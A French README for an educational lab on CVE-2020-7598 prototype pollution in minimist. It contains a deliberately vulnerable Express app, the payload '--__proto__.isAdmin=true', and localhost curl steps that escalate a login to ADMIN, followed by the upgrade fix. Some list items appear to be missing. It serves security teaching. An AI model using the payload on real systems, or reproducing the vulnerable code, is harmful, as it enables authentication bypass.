
Labo éducatif démontrant la pollution de prototype CVE-2020-7598 dans minimist avec une application vulnérable Node.js/Express, charge utile d'exploitation et procédure pas à pas de contournement d'authentification pour la recherche en sécurité.
Ce projet est créé uniquement pour :
Ne l'utilisez pas contre des systèmes sans autorisation.
CVE-2020-7598 est une vulnérabilité de pollution de prototype dans le package npm :
< 0.2.1>= 1.0.0 < 1.2.3Cette vulnérabilité permet à un attaquant de modifier :
Object.prototype
via une charge utile comme :
--__proto__.isAdmin=true
Conséquences :
En JavaScript :
const user = {};
un objet vide hérite toujours des propriétés de :
Object.prototype
Si un attaquant parvient à faire :
Object.prototype.isAdmin = true;
alors :
({}).isAdmin
retournera :
true
pour tous les objets ordinaires.
https://github.com/renewablehacking/CVE-2020-7598.git
cd CVE-2020-7598
npm install
OU manuellement :
npm install express [email protected]
Créez le fichier :
app.js
Contenu :
const express = require("express");
const minimist = require("minimist");
const app = express();
/*
Simulation de base de données utilisateur
*/
const users = [
{
username: "zen",
password: "123"
}
];
/*
Point de terminaison vulnérable
*/
app.get("/parse", (req, res) => {
/*
Récupérer la requête brute
*/
const payload = req.query.payload;
/*
Convertir en tableau d'arguments CLI
*/
const args = payload.split(" ");
console.log("ARGS:", args);
/*
Analyse vulnérable
*/
minimist(args);
console.log("GLOBAL isAdmin:", {}.isAdmin);
res.send("Arguments parsed");
});
/*
Point de terminaison de connexion
*/
app.post("/login", express.json(), (req, res) => {
const { username, password } = req.body;
const user = users.find(
u =>
u.username === username &&
u.password === password
);
if(!user){
return res.json({
success: false
});
}
console.log("Own property:", user.hasOwnProperty("isAdmin"));
console.log("user.isAdmin:", user.isAdmin);
/*
Logique d'authentification vulnérable
*/
if(user.isAdmin){
return res.json({
success: true,
role: "ADMIN"
});
}
res.json({
success: true,
role: "USER"
});
});
app.listen(3000, () => {
console.log("Server running on port 3000");
});
node app.js
Sortie :
Server running on port 3000
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'
Sortie :
{
"success": true,
"role": "USER"
}
Ouvrez le navigateur :
http://localhost:3000/parse?payload=--__proto__.isAdmin=true
OU utilisez curl :
curl "http://localhost:3000/parse?payload=--__proto__.isAdmin=true"
Terminal du serveur :
GLOBAL isAdmin: true
Cela signifie que :
Object.prototype.isAdmin = true
a été modifié avec succès.
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"username":"zen","password":"123"}'
Sortie :
{
"success": true,
"role": "ADMIN"
}
Pourtant :
isAdmin.Le code suivant :
if(user.isAdmin)
ne vérifie pas seulement la propriété directe de l'objet.
JavaScript va chercher :
Comme l'attaquant a réussi à modifier :
Object.prototype.isAdmin = true
tous les objets ordinaires héritent de cette propriété.
Log du serveur :
Own property: false
user.isAdmin: true
Signification :
isAdmin n'est pas une propriété propre de l'utilisateur,Version sécurisée de minimist :
npm install minimist@latest
La version corrigée bloque :
__proto__constructorprototypeainsi la pollution de prototype n'est plus possible.
Le laboratoire et la documentation ont été créés à des fins d'apprentissage sur la sécurité des applications Node.js et la recherche sur la pollution de prototype.